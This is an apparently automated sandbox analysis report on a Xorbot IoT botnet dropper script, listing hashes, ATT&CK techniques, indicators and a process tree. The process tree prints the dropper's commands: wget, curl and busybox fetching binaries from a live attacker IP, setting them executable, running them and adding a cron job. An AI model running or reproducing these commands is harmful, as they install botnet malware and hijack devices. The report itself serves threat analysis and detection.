xorbot | 0d5e5ac44a1561346bce5197d027dbf920fc6e3a8f162b38ac4c03f953705544

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/11/2024, 10:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

e3acbc4ed14dedc6b101819151aa8e11
SHA1

c27ad3916863d50bc1001b95d0fd39d831e3eebc
SHA256

0d5e5ac44a1561346bce5197d027dbf920fc6e3a8f162b38ac4c03f953705544
SHA512

4380b6cf9fb1a11c9de70e3a48bf8873868360ff194a33ce5e2a068ac913017ce7640510963cfed31e38d742fba3f13c5873fd56b1cb45939b96518558d61657
SSDEEP

192:P/2hN5CGevfxme2NpJaWq20n/uqRqxqrqCbqQq6zdVhN5CGevf5me2Np/q20n/I7:noaxzdcq

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot
behavioral2/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
719	chmod
743	chmod
761	chmod
686	chmod
696	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	687	MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	698	h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS	720	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
/tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi	744	J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
/tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee	763	quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee

Renames itself 1 IoCs

pid	Process
721	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.cJaPZk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/655/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/751/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/811/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/11/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/12/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/197/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/8/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/26/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/757/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/818/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/760/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/794/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/819/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/106/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/344/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/653/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/732/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/736/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/730/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/652/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/645/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/738/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/749/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/758/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/10/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/22/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/270/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/300/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/774/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/16/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/18/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/777/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/780/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/750/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/814/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/826/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/2/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/109/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/463/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/729/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/96/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/660/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/17/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/273/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/782/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/41/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/136/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/291/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/742/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/800/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/807/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/24/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/740/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/772/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/789/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/3/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
File opened for reading	/proc/7/cmdline	WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
662	wget
676	curl
684	busybox
687	MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
689	rm

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	curl
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	busybox
File opened for modification	/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS	wget
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	wget
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	wget
File opened for modification	/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS	curl
File opened for modification	/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS	busybox
File opened for modification	/tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi	busybox
File opened for modification	/tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee	busybox
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	curl
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:653
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  ./MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:687
- /bin/rm
  rm MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  PID:689
- /usr/bin/wget
  wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  ./h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Executes dropped EXE
  PID:698
- /bin/rm
  rm h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  PID:701
- /usr/bin/wget
  wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod 777 WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  ./WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:720
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:723
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:724
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:726
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:727
- /bin/rm
  rm WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  PID:731
- /usr/bin/wget
  wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  ./J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  ./quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
  2⤵
  PID:767

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.cJaPZk

Filesize
210B

MD5
d6bd15bfa3463e04356dbb9b94cf7bd2

SHA1
adf69f0b49e44bf0b57890937c875837b4d237ee

SHA256
c1adf16978acb33bcb631a464f224b734617ae4ba26dbe1ac2d72591e899f535

SHA512
04de3312d8738c9d56930f9c48245b7e8c8ad6f6f0e987c4b96e7964ebc9e3fb76c423ccce15791d8ed2ed7b62b832aa5ab4ad1c0c3954ca56b727f83d16de77

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads